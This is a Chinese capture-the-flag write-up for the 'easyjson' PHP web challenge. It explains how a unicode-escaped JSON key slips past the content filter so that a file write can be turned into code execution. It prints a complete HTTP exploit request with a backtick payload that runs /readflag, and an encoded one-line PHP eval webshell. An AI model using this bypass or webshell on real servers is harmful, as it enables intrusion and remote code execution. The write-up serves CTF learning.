easyjson

<?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

先GET一个$source参数，什么值都可以，并创建一个沙盒，将一句php写入index.php，这个时候访问sandbox/0763c3a8c2f6eabcaea913e1c51ab732cd082ecd/index.php是有回显的。

<?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($xsandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}

接着传入GET参数 $action，通过 php://input 协议读入没有处理的POST提交的数据。

$action = $_GET['action'];
$content = file_get_contents("php://input");

如果 $action 值为 "write"，通过GET方式得到filename，将 $content 通过 json 格式解码，最终在 $filename 写入 $content 中的 $content 参数。

if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

可以得到最终GET的三个参数：

?action=write&source=1&filename=index.php

最后用POST提交的json参数伪协议流，构造比较有难度，可以直接写入/readflag：

POST /?action=write&source=1&filename=index.php HTTP/1.1
Host: easyjson.xhlj.wetolink.com
Content-Length: 68
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://easyjson.xhlj.wetolink.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://easyjson.xhlj.wetolink.com/?action=write&source=1&filename=index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close

{"co\u006etent":"<?=`/readfla*`;?>"}

其中 \u006e 绕过对 content 的WAF，代码执行/readflag

也可以上一句话木马，这里直接上了：

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0061\u0027\u005d\u0029\u003b\u003f\u003e"}